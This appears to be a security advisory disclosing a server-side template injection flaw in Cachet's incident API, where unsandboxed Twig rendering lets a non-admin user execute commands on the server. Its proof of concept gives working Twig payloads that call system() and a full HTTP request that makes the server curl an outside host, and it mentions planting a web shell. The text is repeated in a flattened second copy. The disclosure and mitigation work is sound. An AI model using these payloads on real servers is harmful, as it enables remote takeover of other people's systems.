Summary
A template functionality which allows users to create templates allows them to execute any code on the server during the bad filtration and old twig version.
Details
/cachet/app/Http/Routes/ApiRoutes.php
Here is one interesting route which is under the auth
middleware:
$router->group(['middleware' => ['auth.api:true']], function (Registrar $router) {
...
$router->post('incidents', 'IncidentController@store');
...
Code inside this controller:
public function store()
{
try {
$incident = execute(new CreateIncidentCommand(
Binput::get('name'),
Binput::get('status'),
Binput::get('message', null, false, false),
(bool) Binput::get('visible', true),
Binput::get('component_id'),
Binput::get('component_status'),
(bool) Binput::get('notify', true),
(bool) Binput::get('stickied', false),
Binput::get('occurred_at'),
Binput::get('template'),
Binput::get('vars', []),
Binput::get('meta', [])
));
} catch (QueryException $e) {
throw new BadRequestHttpException();
}
return $this->item($incident);
}
Interesting part here in next code lines:
Binput::get('template'),
Binput::get('vars', []),
Binput::get('meta', [])
Hacker is able to control template
input which will be after passed to laravel's
dispatched handler:
/cachet/app/Bus/Handlers/Commands/Incident/CreateIncidentCommandHandler.php
public function handle(CreateIncidentCommand $command)
{
$data = [
'user_id' => $this->auth->user()->id,
'name' => $command->name,
'status' => $command->status,
'visible' => $command->visible,
'stickied' => $command->stickied,
];
if ($template = IncidentTemplate::where('slug', '=', $command->template)->first()) {
$data['message'] = $this->parseTemplate($template, $command);
} else {
$data['message'] = $command->message;
}
...
And the content of the parseTemplate
method:
protected function parseTemplate(IncidentTemplate $template, CreateIncidentCommand $command)
{
$env = new Twig_Environment(new Twig_Loader_Array([]));
$template = $env->createTemplate($template->template);
$vars = array_merge($command->template_vars, [
'incident' => [
'name' => $command->name,
'status' => $command->status,
'message' => $command->message,
'visible' => $command->visible,
'notify' => $command->notify,
'stickied' => $command->stickied,
'occurred_at' => $command->occurred_at,
'component' => Component::find($command->component_id) ?: null,
'component_status' => $command->component_status,
],
]);
return $template->render($vars);
}
As you can see if an attacker is able to control this data, he is also able to trigger SSTI
(server-side template injection) vulnerability to obtain RCE
(Remote Code Execution).
PoC
- Log in as a default user (Not an admin);
- Create an incident with name
slug1
and with content: {{ ['curl yourhost.com','']|sort('system') }}
or with any other content for Remote code execution
via the Twig
, for instance: {{[0]|reduce('system','curl yourhost.com')}}
;
- Get an
API
token from your account settings (X-Cachet-Token
);
- Trigger remote code execution using the
api
route:
POST /api/v1/incidents HTTP/1.1
Host: myapp
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: XSRF-TOKEN=eyJpdiI6InZUVVpkRmx1VFlhcytVQkQ1Zk81b1E9PSIsInZhbHVlIjoiSlE0Tmt1cjVoRHFSOHBIR3RoYlAwS0dNZlVHbm02d0tWVW1ERVRvblZTTW1TMHV2MFJUYTNwQWQyZ3pQM1VlMyIsIm1hYyI6IjU4YzAxZjgyYWE4YTU4MTExMDQ3OGRhOTNlYThlZTYxMzI5YzBhMWVhM2RjYzA2ODgzMGVhMGQ5Njg2YTMyMjkifQ%3D%3D; laravel_session=eyJpdiI6IldZcHhMSjBYRmQzUXdGTTRQbGFQTWc9PSIsInZhbHVlIjoiSkRxWncxdWs3Y29ZcXVHMlJ0U2pVVVwvMGdvSUJNK2pEMnhsR2QzVnE1MmMxMWJxUm96K1VnalwvS1pYcXE2cGllIiwibWFjIjoiMDM0MGIxNjRlM2VhOGU5Mzg2OWVkYjZjNmJhY2JlMTE3OTdkMDRkZTQ1NzI5NTMzNzI4YjA5YTcwNzM2M2E5YyJ9
Connection: close
X-Cachet-Token: OeiLJ6G6kjsBXeyOo97z
Content-Length: 109
Content-type: application/json
{"template":"slug1", "name":"{{ ['curl pwned.riven.pw','']|sort('system') }}", "status":2, "visible":1}
- Obtain Remote Code Execution. You can also upload a web-shell using some base64 tricks with pipe to bash.
Impact
Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.
Template engines are designed to generate web pages by combining fixed templates with volatile data. Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as data. This allows attackers to inject arbitrary template directives in order to manipulate the template engine, often enabling them to take complete control of the server. As the name suggests, server-side template injection payloads are delivered and evaluated server-side, potentially making them much more dangerous than a typical client-side template injection.
Mitigation
- Update
TWIG
to the latest version;
- Filter user-controlled data by any safe pattern;
- Use
sandboxed
twig
mode;
- Don't allow users (Non-admins) to trigger this vulnerability via the
API
endpoint.
Testing
For the testing I used the next configuration:
docker-compose.yml
version: '3.1'
services:
postgres:
image: postgres
restart: always
environment:
POSTGRES_PASSWORD: postgres
POSTGRES_USER: postgres
POSTGRES_DB: cachet
cachet:
build:
context: .
dockerfile: Dockerfile
ports:
- "80:80"
depends_on:
- postgres
restart: always
extra_hosts:
- "host.docker.internal:host-gateway"
Dockerfile
FROM php:7.4-apache
# Installing necessary deps for laravel #
RUN apt-get update && apt-get install git libpq-dev libzip-dev p7zip-full -y --no-install-recommends
WORKDIR /var/www/html
RUN git clone https://github.com/cachethq/cachet.git .
# Installing docker deps for debug and laravel #
RUN pecl install xdebug-2.9.2 && \
docker-php-ext-install zip && \
docker-php-ext-enable xdebug zip && \
docker-php-ext-install pdo pdo_pgsql pgsql
# Configuring XDebug #
RUN echo "zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/xdebug.so\n\n[xdebug]\nxdebug.mode=debug\nxdebug.start_with_request=yes\nxdebug.client_host=\"host.docker.internal\"\nxdebug.client_port=9000\nxdebug.log=/tmp/xdebug.log\nxdebug.remote_enable=1\nxdebug.remote_autostart=1\nxdebug.remote_host=\"host.docker.internal\"" >> /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini
# Installing composer #
RUN php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" && \
php -r "if (hash_file('sha384', 'composer-setup.php') === 'e21205b207c3ff031906575712edab6f13eb0b361f2085f1f1237b7126d785e826a450292b6cfd1d64d92e6563bbde02') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;" && \
php composer-setup.php && \
php -r "unlink('composer-setup.php');"
# Copying files #
COPY entrypoint.sh /usr/bin
COPY .htaccess /var/www/html
COPY .env /var/www/html
# Creating phpinfo for debug purposes #
RUN echo '<?php phpinfo(); ?>' > /var/www/html/public/info.php
ENTRYPOINT ["/usr/bin/entrypoint.sh"]
entrypoint.sh
#!/bin/bash
mv composer.phar /usr/local/bin/composer
composer install -n
php artisan key:generate --show
chown -R www-data:www-data /var/www/html
php artisan migrate:fresh --force -vvv
a2enmod rewrite
apachectl -D FOREGROUND
exec "$@"
My XDebug
launch.json
content:
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"name": "Listen for Xdebug",
"type": "php",
"request": "launch",
"port": 9000,
"pathMappings":{
"/var/www/html/": "${workspaceFolder}"
}
}
]
}
Different from other CVES
New vulnerability exists NOT in the TWIG
library ITSELF, it exists during the process of the cachet
processing of the attacker data without any filtration.
Imagine that you have python3
application, which uses jinja2
for processing different types of templates. And, for instance, it uses render_template_string
. If attacker is able to pass some values, like: {{ 7+7 }}
to this function - he is able to obtain SSTI
.
About your link: https://nvd.nist.gov/vuln/detail/CVE-2022-23614 there is NO sandbox in cachet
, that's why your link can't even be used there. Please, check Mitigation
section.
Summary
A template functionality which allows users to create templates allows them to execute any code on the server during the bad filtration and old twig version.
Details
/cachet/app/Http/Routes/ApiRoutes.php
Here is one interesting route which is under the
auth
middleware:Code inside this controller:
Interesting part here in next code lines:
Hacker is able to control
template
input which will be after passed tolaravel's
dispatched handler:/cachet/app/Bus/Handlers/Commands/Incident/CreateIncidentCommandHandler.php
And the content of the
parseTemplate
method:As you can see if an attacker is able to control this data, he is also able to trigger
SSTI
(server-side template injection) vulnerability to obtainRCE
(Remote Code Execution).PoC
slug1
and with content:{{ ['curl yourhost.com','']|sort('system') }}
or with any other content forRemote code execution
via theTwig
, for instance:{{[0]|reduce('system','curl yourhost.com')}}
;API
token from your account settings (X-Cachet-Token
);api
route:Impact
Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.
Template engines are designed to generate web pages by combining fixed templates with volatile data. Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as data. This allows attackers to inject arbitrary template directives in order to manipulate the template engine, often enabling them to take complete control of the server. As the name suggests, server-side template injection payloads are delivered and evaluated server-side, potentially making them much more dangerous than a typical client-side template injection.
Mitigation
TWIG
to the latest version;sandboxed
twig
mode;API
endpoint.Testing
For the testing I used the next configuration:
docker-compose.yml
Dockerfile
entrypoint.sh
My
XDebug
launch.json
content:Different from other CVES
New vulnerability exists NOT in the
TWIG
library ITSELF, it exists during the process of thecachet
processing of the attacker data without any filtration.Imagine that you have
python3
application, which usesjinja2
for processing different types of templates. And, for instance, it usesrender_template_string
. If attacker is able to pass some values, like:{{ 7+7 }}
to this function - he is able to obtainSSTI
.About your link: https://nvd.nist.gov/vuln/detail/CVE-2022-23614 there is NO sandbox in
cachet
, that's why your link can't even be used there. Please, checkMitigation
section.